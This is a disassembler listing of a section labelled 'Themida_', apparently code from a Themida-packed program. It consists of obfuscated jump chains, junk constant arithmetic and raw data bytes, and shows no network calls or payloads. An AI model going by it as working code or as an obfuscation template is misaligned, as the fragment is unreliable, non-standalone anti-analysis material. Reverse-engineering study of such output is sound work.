		mov	[esp], esi
		mov	esi, 16B24FB1h
		push	4ABAh
		jmp	loc_557DA8
; ---------------------------------------------------------------------------
		dd 0E92434FFh, 0FFFFBEF9h
dword_54CED8	dd 50D831ADh, 4EC81h, 8F540000h, 0E9512404h, 0FFFFE053h
					; DATA XREF: Themida_:005431C8o
; ---------------------------------------------------------------------------

loc_54CEEC:				; CODE XREF: Themida_:00547689j
		pop	eax
		push	ecx
		jmp	loc_557EAD
; ---------------------------------------------------------------------------
		db 5Dh
		dd 5114E581h, 0DDF77E5Bh, 0FF94C2E9h, 0FFC329FFh, 53582434h
		dd 0C381E389h, 4, 4C381h, 0EC830000h, 241C8904h, 42474FFh
		dd 24048F5Bh, 5624248Bh, 0FFD270E9h
		db 0FFh
byte_54CF2D	db 66h,	8Bh, 4		; DATA XREF: Themida_:00543010o
		db '$hа%',0
		align 2
		dw 1C89h
aHu		db '$hЦ%',0
		align 2
aSvu		db 'ИVu',0
		dw 8B00h
		dd 0C483240Ch, 24343304h, 33243431h, 95C2434h, 0E99C2404h
		dd 0FFFF633Fh
; ---------------------------------------------------------------------------

loc_54CF5C:				; CODE XREF: Themida_:00543B34j
		pop	ecx
		add	ecx, 4
		add	ecx, 4
		jmp	loc_54FECF
; ---------------------------------------------------------------------------

loc_54CF6E:				; CODE XREF: Themida_:00554255j
		push	eax
		mov	eax, 0C1D89D05h
		jmp	loc_54DE8B
; ---------------------------------------------------------------------------

loc_54CF79:				; CODE XREF: Themida_:005575EEj
		sub	edi, 4
		jmp	loc_555D6A
; ---------------------------------------------------------------------------
		db 5Bh,	68h, 16h
		dd 0E9000036h, 0FFFFE42Eh
off_54CF8C	dd offset dword_569968	; DATA XREF: Themida_:005431F0o
		dd 24148900h, 0FF6302E9h, 6B2D48FFh, 29885457h,	24048BC2h
		dd 0E904C483h, 0FFFFA8CFh, 4246C81h, 1F1015F3h,	18C9E9h
		db 0
byte_54CFB9	db 8Bh,	4, 24h		; DATA XREF: Themida_:00543028o
aRts		db 'RTИ╨',9,0
		db 0
; ---------------------------------------------------------------------------

loc_54CFC3:				; CODE XREF: Themida_:0054C017j
		add	edi, 12CB132Dh
		add	edi, 4EA24A0Bh
		mov	ecx, [esp]
		jmp	loc_5564B8
; ---------------------------------------------------------------------------
		db 5Ch
		dd 1A4B822Dh, 72A3687Fh, 3C890000h, 0B2DFE924h,	55CFFFFh
		dd 4, 31240433h, 4332404h, 34FF5C24h, 2434FF24h, 4C48158h
		dd 51000000h, 0BB53E189h, 4, 575BD901h,	8904EC83h, 21BE2434h
		dd 0BF0B6F6Eh, 6E14018Ch, 0FF6ECAE9h, 241C8BFFh, 0E9E78957h
		dd 0FFFF8C28h, 8B241433h, 84682424h, 0E900002Fh, 2B94h
		dd 34FFEF29h, 90E95D24h, 8900007Fh, 1D68243Ch, 89000053h
		dd 0BF572424h, 4, 4247C01h, 0C7815F5Fh,	4, 2613BE56h, 0C6814DDDh
		dd 0B222D9F1h, 575EF701h, 3E78E9h, 0C7315D00h, 0FFDEABE9h
		dd 0C0C1FEFFh, 0C18004E9h, 0FFC830B3h, 83592434h, 0A7E904C4h
		db 0FBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54D09F:				; CODE XREF: Themida_:005548E9j
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		push	esi
		push	dword ptr [esp+4]
		mov	esi, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_54D79B
; ---------------------------------------------------------------------------
aSY_0		db ')ъИдy',0
		dw 8900h
		dd 0B8502434h, 56191F6Ah, 44E9D0F7h, 5700009Bh,	0FFE250E9h
		dd 1C381FFh, 81000000h,	0F529CEF3h, 4EBC16Dh, 695468h
		dd 24148900h, 2B7FE953h, 5ABA0000h, 8126F544h, 0DC72C0C2h
		dd 0C281421Fh, 0F73F9AACh, 305AF281h, 0EAC1310Dh, 0B4C28103h
		dd 0C1337772h, 0E2D102E2h, 0F734EA81h, 0D101AAD7h, 8124148Bh
		dd 4C4h, 4C18100h, 33000000h, 0C31240Ch, 240C3324h, 8B24248Bh
		dd 0B682404h, 89000068h, 0BB68240Ch, 0E9000004h, 9FF3h
; ---------------------------------------------------------------------------

loc_54D158:				; CODE XREF: Themida_:00557A86j
		not	edx
		shl	edx, 5
		push	edi
		push	43801A79h
		pop	edi
		jmp	loc_55382D
; ---------------------------------------------------------------------------

loc_54D169:				; CODE XREF: Themida_:0054FEB9j
		add	eax, 422A7250h
		add	eax, 19FF785Fh
		mov	ebx, [esp]
		push	ecx
		mov	ecx, esp
		push	ebp
		mov	ebp, 1703192Dh
		add	ebp, 9F94EF9h
		push	ebp
		jmp	loc_557882
; ---------------------------------------------------------------------------
aYbq0veB0vesQ	db 'Y│Ош0vE)ъ│гш0vEИ╬÷',0
		db 0
; ---------------------------------------------------------------------------

loc_54D19F:				; CODE XREF: Themida_:00554699j
		push	ebp
		mov	ebp, 7E4233D4h
		xor	ebp, 776708B9h
		shl	ebp, 7
		add	ebp, 1F38AAFCh
		sub	eax, ebp
		pop	ebp
		jmp	loc_557891
; ---------------------------------------------------------------------------
		dd 0BB241C89h, 2, 0FFFA9CE9h, 0E9525CFFh, 0FFFF8B54h, 4245401h
		dd 4246C81h, 4BF00F71h,	2434FF5Ah
		db 59h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	ebp
		mov	ebp, 3BEB517Eh
		add	ebp, 1CE86C00h
		push	esi
		jmp	loc_5455A6
; ---------------------------------------------------------------------------
		db 1
		dd 60E95EF0h
		db 8Fh,	2 dup(0)
byte_54D20B	db 0FFh			; DATA XREF: Themida_:00543200o
a4SG		db '4$И-ё',0
		dw 3100h
		dd 14332414h, 7850E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54D21E:				; CODE XREF: Themida_:0054B61Aj
		not	esi
		xchg	esi, edx
		xchg	edx, [esp]
		mov	eax, [esp]
		sub	esp, 4
		mov	[esp], esi
		mov	esi, esp
		push	ecx
		mov	ecx, 628E32A5h
		not	ecx
		inc	ecx
		sub	ecx, 27E05C4Eh
		xor	ecx, 75FC45C9h
		push	edx
		mov	edx, 441F67DFh
		jmp	loc_5504C1
; ---------------------------------------------------------------------------

loc_54D250:				; CODE XREF: Themida_:0054C1EFj
		mov	esp, [esp]
		shr	ecx, 6
		push	3C06h
		mov	[esp], ebp
		push	0F86h
		mov	[esp], ebx
		jmp	loc_54B0C8
; ---------------------------------------------------------------------------
byte_54D26B	db 0FFh			; DATA XREF: Themida_:0054307Co
		dd 57582434h, 0FFCF3DE9h, 8BED80FFh, 0D007EDC0h, 19C580E5h
		dd 8059EB28h, 34FF49EBh, 0C4835924h, 0E9CB2804h, 0D0Eh
		dd 4C481h, 0E9530000h, 0FFFFA002h, 281BE980h, 1BC180D1h
		dd 0FF77C1E9h, 242489FFh, 4BA52h, 54010000h, 0FF5A0424h
		dd 815E2434h, 4C4h, 85E95200h
		db 29h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54D2CB:				; CODE XREF: Themida_:0054B0B9j
		pop	edx
		add	esp, 4
		push	edx
		jmp	loc_552B7C
; ---------------------------------------------------------------------------

loc_54D2D8:				; CODE XREF: Themida_:0054FA6Dj
		xor	edx, esi
		pop	esi
		add	ecx, 461078C0h
		add	ecx, 41670E80h
		jmp	loc_557953
; ---------------------------------------------------------------------------

loc_54D2EC:				; CODE XREF: Themida_:0054F96Cj
		add	ecx, edx
		jmp	loc_55774E
; ---------------------------------------------------------------------------
		db 5Eh
		dd 8704C283h, 585C2414h, 22E9F130h
		db 72h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54D303:				; CODE XREF: Themida_:0054A5F1j
		sub	ebp, 2FC66DAEh
		jmp	loc_554C69
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 4C08304h, 8B240487h,	48F2424h, 861BE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54D322:				; CODE XREF: Themida_:0054739Ej
		sub	dl, al
		sub	dl, 8Ch
		pop	eax
		shl	dl, 8
		shr	dl, 8
		jmp	loc_553180
; ---------------------------------------------------------------------------
		db 5Ch
		dd 54241489h, 0FFBC9DE9h, 0E9C141FFh, 0AD89E906h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54D346:				; CODE XREF: Themida_:00554E42j
		mov	[esp], eax
		mov	eax, esp
		sub	esp, 4
		mov	[esp], ebx
		push	ebp
		push	eax
		mov	eax, 32942C47h
		jmp	loc_54EBE7
; ---------------------------------------------------------------------------
		db 0F7h, 0D5h, 81h
		dd 5A3541C5h, 0F5814D36h, 0B23F82CEh, 0E95DE801h, 0FFFF7ECAh
		dd 0E8FFE981h, 0CA3181EEh, 81240C8Bh, 4C4h, 5AD72100h
		dd 5854E9h, 32CA8100h, 81120509h, 626572F2h, 0E9D301ADh
		dd 4129h
; ---------------------------------------------------------------------------

loc_54D3A0:				; CODE XREF: Themida_:0054CA41j
		push	ecx
		mov	ecx, 3B42554Fh
		sub	ecx, 0AAB71D4h
		add	ecx, 4EB77DB4h
		push	esi
		mov	esi, 75D01C98h
		or	ecx, esi
		mov	esi, [esp]
		add	esp, 4
		inc	ecx
		jmp	loc_544FDB
; ---------------------------------------------------------------------------
		dw 0C381h
		dd 4B95D85h, 1DE9C301h
		db 7Dh,	2 dup(0)
byte_54D3D3	db 66h			; DATA XREF: Themida_:00542FE0o
		dd 6824048Bh, 742Ch, 0A5B8E9h
		db 0
byte_54D3E1	db 8Bh,	2 dup(24h)	; DATA XREF: Themida_:0054314Co
		dd 28F8E9h
		db 0
byte_54D3E9	db 0ACh			; DATA XREF: Themida_:0054313Co
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_553B49
; ---------------------------------------------------------------------------
		dw 0EA81h
		dd 32251DB8h, 56A7F281h, 89513CA9h, 59CB89D1h, 826DE9h
		dd 5E8DE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54D40E:				; CODE XREF: Themida_:005552ADj
		mov	[esp], ebp
		pop	ebx
		pop	ebp
		sub	eax, 19FF785Fh
		sub	eax, 422A7250h
		jmp	loc_54FEB7
; ---------------------------------------------------------------------------
		dw 148Bh
		dd 4C48124h, 56000000h,	6D7EC8BEh, 9400E924h, 0C6810000h
		dd 4, 5604C683h, 42474FFh, 24048F5Eh, 0FFFD7CE9h, 6EEC1FFh
		dd 0EE81DEF7h, 6B7A75F6h, 63D6B951h, 0F7490354h, 0E9D9F7D1h
		dd 5A4Ch, 74FAE952h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54D46E:				; CODE XREF: Themida_:00550D07j
		mov	eax, 80048146h
		mov	edi, eax
		jmp	loc_556136
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 7F7EE9h, 24043100h, 0FFB40CE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54D48D:				; CODE XREF: Themida_:00545414j
		xchg	ecx, [esp]
		mov	esp, [esp]
		push	24B4h
		mov	[esp], edi
		sub	esp, 4
		mov	[esp], esi
		push	edi
		push	1A0E297Fh
		jmp	loc_549742
; ---------------------------------------------------------------------------

loc_54D4AC:				; CODE XREF: Themida_:0054490Cj
		pop	ecx
		mov	eax, [esp]
		add	esp, 4
		mov	ebp, [esp]
		push	5C56h
		mov	[esp], edx
		push	esp
		pop	edx
		push	488Dh
		jmp	loc_5453E4
; ---------------------------------------------------------------------------
		db 0F7h, 0D3h, 81h
		dd 0C42FE5E3h, 0D0EB8144h, 0F71FD310h, 96C381D3h, 0E924ED13h
		dd 0FFFF750Eh, 0C381EB01h, 307C18FBh, 0FF73CEE9h, 89535CFFh
		dd 0DAE951E3h, 5F000076h, 31A1EA81h, 0D0011974h, 8B2434FFh
		dd 0C4832414h, 4C48104h, 83000000h, 0AEE904ECh
		db 0C7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54D51F:				; CODE XREF: Themida_:0054A791j
		push	1EFCh
		mov	[esp], edx
		push	40h
		jmp	loc_554C24
; ---------------------------------------------------------------------------
		db 2Dh,	0B2h, 80h
		dd 0C3013AF8h, 20F5E958h, 0CB010000h, 4BA5259h,	0E9000000h
		dd 1C9Eh, 5304C483h, 0FFDEB2E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54D555:				; CODE XREF: Themida_:005515A5j
		dec	edi
		shl	edi, 5
		sub	edi, 76C182BCh
		add	esi, edi
		pop	edi
		xchg	esi, [esp]
		pop	esp
		jmp	loc_54D860
; ---------------------------------------------------------------------------

loc_54D56B:				; CODE XREF: Themida_:0055110Ej
		add	ecx, 48B004D3h
		jmp	loc_5447FB
; ---------------------------------------------------------------------------
		dw 0F381h
		dd 639A73FEh, 452BE9h, 2EFC000h, 5266D7F6h, 0F7205CB6h
		dd 5CE95A66h, 31FFFFE5h, 242C8BEFh, 0FF712EE9h,	2B685DFFh
		dd 89000017h, 0BE682434h, 0FF290742h, 0E95E2434h, 2110h
; ---------------------------------------------------------------------------

loc_54D5B4:				; CODE XREF: Themida_:0054E700j
		sub	esi, 20005AC1h
		add	esi, eax
		jmp	loc_54EA67
; ---------------------------------------------------------------------------
		db 81h,	0E3h, 1Ch
		dd 0C1440E68h, 0F38103EBh, 8002h, 388D301h, 2434FF5Bh
		dd 9D40E9h, 6DD76800h, 4890000h, 6C2BB824h, 0E952715Bh
		dd 0FFFF7E95h
; ---------------------------------------------------------------------------

loc_54D5F0:				; CODE XREF: Themida_:00548387j
		pop	ebp
		jmp	loc_556620
; ---------------------------------------------------------------------------

loc_54D5F6:				; CODE XREF: Themida_:00554AD6j
		sub	esi, 0F4F01EAh
		push	edx
		push	esi
		pop	edx
		mov	esi, [esp]
		add	esp, 4
		mov	esi, [esp]
		jmp	loc_54E1BD
; ---------------------------------------------------------------------------

loc_54D610:				; CODE XREF: Themida_:0054E0C8j
		mov	[esp], ebx
		jmp	loc_5537A5
; ---------------------------------------------------------------------------
		dd 0EFC1D7F7h, 35EF8103h, 108D87Fh, 51555FFBh, 5B1BA0B9h
		dd 4E9C159h, 3DC98141h,	0E905F077h, 110Fh, 4240481h, 59000000h
		dd 4BD55h, 0C1810000h, 3D1050C7h, 0BA52E901h, 33B60927h
		dd 3534EA81h, 8CE956D4h, 89000012h, 0EEBD242Ch,	0E96F470Ah
		dd 0FFFFAD53h
; ---------------------------------------------------------------------------

loc_54D670:				; CODE XREF: Themida_:005480B0j
		sub	esi, ecx
		jmp	loc_54A2A6
; ---------------------------------------------------------------------------

loc_54D677:				; CODE XREF: Themida_:00554C28j
		push	ebp
		jmp	loc_549647
; ---------------------------------------------------------------------------
		db 0B9h, 0C0h, 25h
		dd 0F7E93641h
		db 7Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54D687:				; CODE XREF: Themida_:0054665Bj
		sub	edi, 122A15E5h
		push	2803h
		mov	[esp], eax
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_550092
; ---------------------------------------------------------------------------
		dd 4EC8158h, 89000000h,	0E3BB241Ch, 29A3FE9Eh, 30E95BDFh
		dd 0F6FFFF78h, 0E9DE86D3h, 0FFFFF0F9h, 15DBEB81h, 0F3811C1Bh
		dd 0E0C3DD47h, 14A8E9h,	5E545600h, 4BD55h, 0EE010000h
		dd 50242C8Bh, 66AFE954h, 0C981FFFFh, 7BEF33C0h,	0F181D1F7h
		dd 733837FAh, 0F703E9C1h, 8CF181D9h, 9E96AE3h, 0DAF759CAh
		dd 5581E9h, 0FB015D00h,	23E3815Fh, 5302E739h, 0E9240CFFh
		dd 94B6h
; ---------------------------------------------------------------------------

loc_54D71C:				; CODE XREF: Themida_:0054EDBCj
		mov	ebx, 24h
		add	ebx, edi
		mov	[ebx], esi
		mov	ebx, [esp]
		add	esp, 4
		mov	esi, [esp]
		add	esp, 4
		pop	eax
		not	dword ptr [edi+24h]
		push	ecx
		mov	ecx, 7B7502CEh
		sub	[edi+24h], ecx
		mov	ecx, [esp]
		add	esp, 4
		push	8C7h
		mov	[esp], ebp
		mov	ebp, 38404959h
		sub	[edi+24h], ebp
		pop	ebp
		add	dword ptr [edi+24h], 0B3B7520h
		push	esi
		mov	esi, 66343F6Bh
		push	7E5Ch
		mov	[esp], edx
		jmp	loc_553909
; ---------------------------------------------------------------------------
		dw 3C8Bh
		dd 0A60BE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54D77A:				; CODE XREF: Themida_:0054FECAj
		add	ebx, 7D5C688Ch
		shl	ebx, 4
		push	0
		sub	[esp], ebx
		pop	ebx
		inc	ebx
		push	edx
		mov	edx, 45408803h
		add	ebx, edx
		pop	edx
		jmp	loc_54CA30
; ---------------------------------------------------------------------------

loc_54D79B:				; CODE XREF: Themida_:0054D0BBj
		pop	esp
		shr	eax, 0Ah
		xor	eax, ecx
		push	3AD5h
		mov	[esp], eax
		not	dword ptr [esp]
		jmp	loc_549F8B
; ---------------------------------------------------------------------------
		db 31h,	3Ch, 24h
		dd 8B243C33h, 83512424h, 0BDE904ECh, 58FFFFB9h,	4EC81h
		dd 0C890000h, 4B924h, 26E90000h
		db 9Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54D7D7:				; CODE XREF: Themida_:0054985Ej
		mov	esi, 2
		jmp	loc_55394B
; ---------------------------------------------------------------------------

loc_54D7E1:				; CODE XREF: Themida_:0054C573j
		push	edx
		mov	edx, 0
		add	edx, ecx
		jmp	loc_5557D1
; ---------------------------------------------------------------------------
		dw 15Dh
		dd 5908244Ch, 0FF7597E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54D7F9:				; CODE XREF: Themida_:0054D9A0j
		mov	esi, 7F125081h
		shl	esi, 6
		jmp	loc_555442
; ---------------------------------------------------------------------------
		dw 2C29h
		dd 0D5F75D24h, 1C581h, 72680000h, 8900006Eh, 0FBB82404h
		dd 355BF623h, 0FF21FE11h, 0FF5F1BE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54D829:				; CODE XREF: Themida_:005504E5j
		shr	ecx, 0Ah
		jmp	loc_551341
; ---------------------------------------------------------------------------
		db 8Bh,	4, 24h
		dd 0E904C483h, 8E4h, 28ACED80h,	240C8BEBh, 8004C483h, 0E32842EBh
		dd 8042C380h, 0DAE9B0C3h
		db 3 dup(0FFh)
byte_54D857	db 66h			; DATA XREF: Themida_:00543124o
		dd 0E924048Bh, 0FFFF840Dh
; ---------------------------------------------------------------------------

loc_54D860:				; CODE XREF: Themida_:0054D566j
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		push	edx
		mov	edx, 70BB3992h
		or	edx, 256C62FFh
		jmp	loc_54A1FD
; ---------------------------------------------------------------------------
		db 1
		dd 54DFE9F1h, 0F3890000h, 6EBC15Eh, 4F4BC381h, 0EBC147A7h
		dd 926AE907h
		db 2 dup(0)
word_54D89A	dw 8B66h		; DATA XREF: Themida_:00543048o
		dd 5E68240Ch, 0E9000009h, 6F01h, 0A3685155h, 0E95D9E6Eh
		dd 3B71h
; ---------------------------------------------------------------------------

loc_54D8B4:				; CODE XREF: Themida_:00549AA3j
		push	edi
		mov	edi, 14577FC3h
		sub	edx, edi
		pop	edi
		jmp	loc_54C1DA
; ---------------------------------------------------------------------------
		dw 0CF89h
		dd 0E9DFF759h, 0FFFFA03Bh, 670DCEBBh, 5FFB2977h, 875BDE01h
		dd 0F8E92434h, 1FFFFF6h, 0BE565DE8h, 4,	0FFAB6CE9h, 4BFFFh
		dd 8BE90000h, 5FFFF8Eh,	4156099h, 0A0DBE9h
		db 0
; ---------------------------------------------------------------------------

loc_54D901:				; CODE XREF: Themida_:005559F0j
		mov	ecx, edx
		jmp	loc_553E33
; ---------------------------------------------------------------------------
aXsie		db '∙ИiE',0
		align 2
		dw 405h
		dd 51000000h, 4B9h, 9A71E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54D91E:				; CODE XREF: Themida_:0054A707j
		add	edx, 0A01AE59Bh
		add	edx, 3C486EAFh
		xor	eax, edx
		jmp	loc_54E6A4
; ---------------------------------------------------------------------------

loc_54D931:				; CODE XREF: Themida_:00546BA7j
		pop	ecx
		mov	al, bh
		pop	ebx
		sub	esp, 4
		mov	[esp], ecx
		mov	ch, al
		mov	bh, ch
		mov	ecx, [esp]
		jmp	loc_5450B4
; ---------------------------------------------------------------------------

loc_54D94A:				; CODE XREF: Themida_:00543BD5j
		mov	eax, 619E3833h
		add	eax, 0FFFFFFFFh
		jmp	loc_54BA81
; ---------------------------------------------------------------------------

loc_54D959:				; CODE XREF: Themida_:00555891j
		push	75F3h
		mov	[esp], ecx
		jmp	loc_55080F
; ---------------------------------------------------------------------------
aXvicsvs	db 'XV┴ФИv▒',0
		dw 5800h
		dd 2803C280h, 3EA80DAh,	880FE9h, 2434FF00h, 0FF9E67E9h
		dd 3C8668FFh, 7DE90000h
		db 96h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54D98F:				; CODE XREF: Themida_:00555661j
		xor	edx, [esp]
		pop	esp
		pop	edx
		jmp	loc_54329B
; ---------------------------------------------------------------------------

loc_54D999:				; CODE XREF: Themida_:00551742j
		add	esp, 4
		push	esi
		jmp	loc_54D7F9
; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(24h)
		dd 4BB0F66h, 0E8E99C24h, 80FFFF58h, 0E7009AEFh,	669AC780h
		dd 7EFC058h, 8000EF80h,	0FE28B3C6h, 8BB3EE80h, 0D3E9241Ch
		db 95h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54D9D3:				; CODE XREF: Themida_:005536FDj
		sub	[esp], edi
		pop	edi
		push	eax
		mov	eax, 5F0A45B8h
		inc	eax
		jmp	loc_545A3B
; ---------------------------------------------------------------------------

loc_54D9E3:				; CODE XREF: Themida_:00543E7Bj
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		or	eax, eax
		jz	loc_54BE44
		push	dword ptr [edi+1Ch]
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		push	3C0Ah
		mov	[esp], edx
		push	ebx
		mov	ebx, esp
		push	esi
		mov	esi, 4A232E73h
		xor	esi, 23366199h
		neg	esi
		jmp	loc_553C2F
; ---------------------------------------------------------------------------
		db 0B4h
		dd 5BDC2854h, 0FE08ECC0h, 0F7C480C4h, 458E728h,	28450421h
		dd 66452CF8h, 4EC8151h,	89000000h, 0CEB22414h, 0FEB6B450h
		dd 2E4C0CCh, 0FE10EC80h, 8EC480C4h, 8058E188h, 0D100CAC1h
		dd 0E9CAE980h, 576Fh
dword_54DA70	dd 0B60F6664h, 0E3895302h, 17F9BF57h, 0F7812F97h, 2F9717FDh
					; DATA XREF: Themida_:005431F4o
		dd 3C8BFB01h, 775FE924h, 1C870000h, 2C895C24h, 20056824h
		dd 515D602Dh, 69323FB9h, 1C87511Fh, 87D3F724h, 8159241Ch
		dd 0BA4B68E9h, 0DCC1815Bh, 3193BF8Ch, 5D17E9CDh, 0DA880000h
		dd 0D328585Bh, 8324148Bh, 0C8904ECh, 81E18924h,	4C1h, 4C18300h
		dd 31240C33h, 0C33240Ch, 0B60F5C24h, 936866C0h,	4896604h
		dd 57A9E924h, 5D68FFFFh, 5A60CA16h, 1DF2F281h, 45E93227h
		dd 5FFFFFAEh, 4C781h, 0EEE90000h, 54FFFFC7h
		db 8Bh,	1Ch, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	4E86h
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], ebp
		push	1A8801C7h
		pop	ebp
		and	ebp, 194F20CFh
		sub	ebp, 0EEA5A065h
		mov	edx, ebp
		pop	ebp
		jmp	loc_546953
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C481240Ch, 4, 0FF76ACE9h, 6268B9FFh, 2EE932AEh, 5AFFFFC2h
		dd 0E516BF05h, 0FE140569h, 8EE9CB9Dh
		db 0F3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54DB73:				; CODE XREF: Themida_:0054AE88j
		sub	edx, ecx
		sub	edx, 4FF318CEh
		mov	ecx, [esp]
		jmp	loc_54E2E7
; ---------------------------------------------------------------------------
aWb4Ve		db 'W│4$vE',0
		dw 8B42h
		dd 0C4832404h, 45763504h, 815F4200h, 0BF042444h, 811FC11Fh
		dd 0F004246Ch, 157BD64h, 81042444h, 0F0042444h,	6857BD64h
		dd 1F42h, 0BE243489h, 1FC11FBFh, 8244481h, 6B396208h, 8247429h
		dd 8246C81h, 6B396208h,	0C3E9585Eh
		db 83h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54DBDB:				; CODE XREF: Themida_:00556BE0j
		sub	esi, 0AA32F775h
		sub	ebx, esi
		pop	esi
		add	edi, ebx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		sub	esp, 4
		jmp	loc_5501CD
; ---------------------------------------------------------------------------

loc_54DBF8:				; CODE XREF: Themida_:0054B0CFj
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		push	edx
		mov	edx, 11CC3FB2h
		jmp	loc_55105C
; ---------------------------------------------------------------------------
		dw 487h
		dd 34895C24h, 4EC8324h,	24048F54h, 0A5BCE956h, 0E95FFFFFh
		dd 6F52h, 89242C89h, 4C581E5h, 0E9000000h, 0FFFF8180h
; ---------------------------------------------------------------------------

loc_54DC34:				; CODE XREF: Themida_:00555DF2j
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	ebx, edx
		pop	edx
		add	eax, ebx
		pop	ebx
		jmp	loc_5531CA
; ---------------------------------------------------------------------------
word_54DC46	dw 34FFh		; DATA XREF: Themida_:00543250o
aS_6		db '$Ир-',0
		align 2

loc_54DC4E:				; CODE XREF: Themida_:005471EEj
		push	ebx
		mov	ebx, esp
		push	eax
		push	edi
		push	33153A32h
		mov	edi, [esp]
		add	esp, 4
		inc	edi
		jmp	loc_54A5F6
; ---------------------------------------------------------------------------
		dd 49FF58BEh, 5EF53128h, 41B6EA81h, 0EA012BD5h,	41B6C281h
		dd 335D2BD5h, 90E92414h
		db 0F5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54DC83:				; CODE XREF: Themida_:00550E76j
		xor	edx, 0C4973455h
		add	ebp, 63711506h
		add	ebp, edx
		sub	ebp, 63711506h
		mov	edx, [esp]
		add	esp, 4
		xor	esi, ebp
		pop	ebp
		sub	[edi+24h], esi
		push	dword ptr [esp]
		jmp	loc_5555C0
; ---------------------------------------------------------------------------

loc_54DCAB:				; CODE XREF: Themida_:00554217j
		shl	edx, 1
		jmp	loc_54B00B
; ---------------------------------------------------------------------------
aWHqubqc8H5d	db 'W©╠h÷U│Оc8°&h5d',0
		dw 0E900h
		dd 0FFFF7110h, 0E904C483h, 0FFFF6904h, 0C68098B6h, 80C62824h
		dd 0F65824EEh, 26B353DEh, 8D4F380h, 13E95BDEh
		db 75h,	2 dup(0FFh)
byte_54DCEB	db 66h			; DATA XREF: Themida_:00543064o
		dd 5124048Bh, 223868h, 24248900h, 4240481h, 59000000h
		dd 4EC81h, 0BDE90000h
		db 52h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54DD0B:				; CODE XREF: Themida_:00553B4Fj
		push	ebx
		mov	ebx, 3A6227B5h
		sub	ebx, 3A6227B1h
		sub	ebp, ebx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		mov	bh, 64h
		add	al, bh
		pop	ebx
		add	al, bl
		push	3B45h
		mov	[esp], ecx
		mov	cl, 9Bh
		shl	cl, 8
		not	cl
		push	4A27h
		jmp	loc_556C04
; ---------------------------------------------------------------------------
		db 89h,	1Ch, 24h
		dd 1CE9E389h, 80FFFF72h, 0D0286BEAh, 8124148Bh,	4C4h, 24148B00h
		dd 5304C483h, 4EC81h, 0C890000h, 4EC8324h, 0B4240489h
		dd 53D4F687h, 400B050h,	6E0C09Bh, 0F603E0C0h, 88D634D0h
		dd 0F38058C3h, 80D3F6C1h, 5BE966F3h, 89000099h,	54B9240Ch
		dd 0E9576717h, 0FFFF9E47h, 2414335Ch, 33241431h, 0E95C2414h
		dd 0FFFF54E3h, 0E9240433h, 0FFFF9DD0h
; ---------------------------------------------------------------------------

loc_54DDC0:				; CODE XREF: Themida_:0054A941j
		mov	edx, 4
		add	ebp, edx
		pop	edx
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		or	ecx, 50F7099Fh
		sub	ecx, 1
		shr	ecx, 6
		push	68B2h
		jmp	loc_5454DB
; ---------------------------------------------------------------------------
		db 0BFh, 0BAh, 6
aIBSSV		db '╗}│олS+"И°V',0
		db 0
; ---------------------------------------------------------------------------

loc_54DDF5:				; CODE XREF: Themida_:005439C5j
		dec	ebx
		jmp	loc_54E95B
; ---------------------------------------------------------------------------
		db 5Ch
		dd 0FFFF48E9h
		db 0FFh
byte_54DE01	db 8Fh,	2, 0E9h		; DATA XREF: Themida_:0054315Co
		dd 98CAh, 70BA68h, 24048900h, 882CD8B0h, 0FFCC5EE9h, 4E883FFh
		dd 0FFFDE9E9h
		db 0FFh
byte_54DE21	db 8Bh,	14h, 24h	; DATA XREF: Themida_:005430D4o
aUha		db 'Uh²%',0
		align 2
		dw 0EC81h
		dd 4, 83242489h, 8F042404h, 24E92404h
		db 0E4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54DE3F:				; CODE XREF: Themida_:00555096j
		mov	[esp], edi
		xor	dword ptr [esp], 20A9585Bh
